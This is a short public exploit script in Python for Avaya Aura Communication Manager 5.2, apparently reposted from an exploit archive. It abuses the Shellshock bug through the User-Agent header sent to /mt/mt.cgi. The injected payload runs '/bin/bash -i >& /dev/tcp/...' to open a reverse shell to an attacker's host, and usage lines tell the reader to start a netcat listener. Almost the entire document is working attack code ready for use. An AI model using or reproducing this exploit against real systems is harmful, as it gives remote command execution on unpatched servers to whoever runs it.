Avaya Aura Communication Manager 5.2 - Remote Code Execution Exploit

# Exploit Title: Avaya Aura Communication Manager 5.2 - Remote Code Execution
# Exploit Author: Sarang Tumne a.k.a SarT
# Confirmed on release 5.2
# Vendor: https://www.avaya.com/en/
# Avaya's advisory:  
# https://downloads.avaya.com/css/P8/documents/100183151
# Exploit generates a reverse shell to a nc listener (Shellshock Exploit)
 
###############################################
 
#!/usr/bin/python
 
import sys
import requests
  
if len(sys.argv) < 4:
        print "\n[*] Avaya Aura Communication Manager (CM)- Shellshock Exploit"
        print "[*] Usage: <Victim's IP> <Attacker's IP> <Reverse Shell Port>"
        print "[*] Example: shellshock.py 127.0.0.1 127.0.0.1 1337"
        print "[*] Netcat Listener: nc -lvvnp <port>"
        print "\n"
        sys.exit()
 
#Disables request warning for cert validation ignore.
requests.packages.urllib3.disable_warnings() 
CM = sys.argv[1]
url = "https://" + CM + "/mt/mt.cgi"
attacker_ip = sys.argv[2]
rev_port = sys.argv[3]
 
http_headers = {
                 
                "User-Agent": '() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/bash -i >& /dev/tcp/'+attacker_ip+'/'+rev_port+' 0>&1'
                         
                }
 
def main():
                if len(sys.argv) == 4:
                   
                  print "[+] Success, spawning a shell on your custom port :)..."
                  requests.get(url, headers=http_headers, verify=False, timeout=5)
                 
                else:   
                  print "[-] Something went wrong, quitting..."
                         
                sys.exit()
         
 
if __name__ == "__main__":
        main()
 
#  0day.today [2020-02-22]  #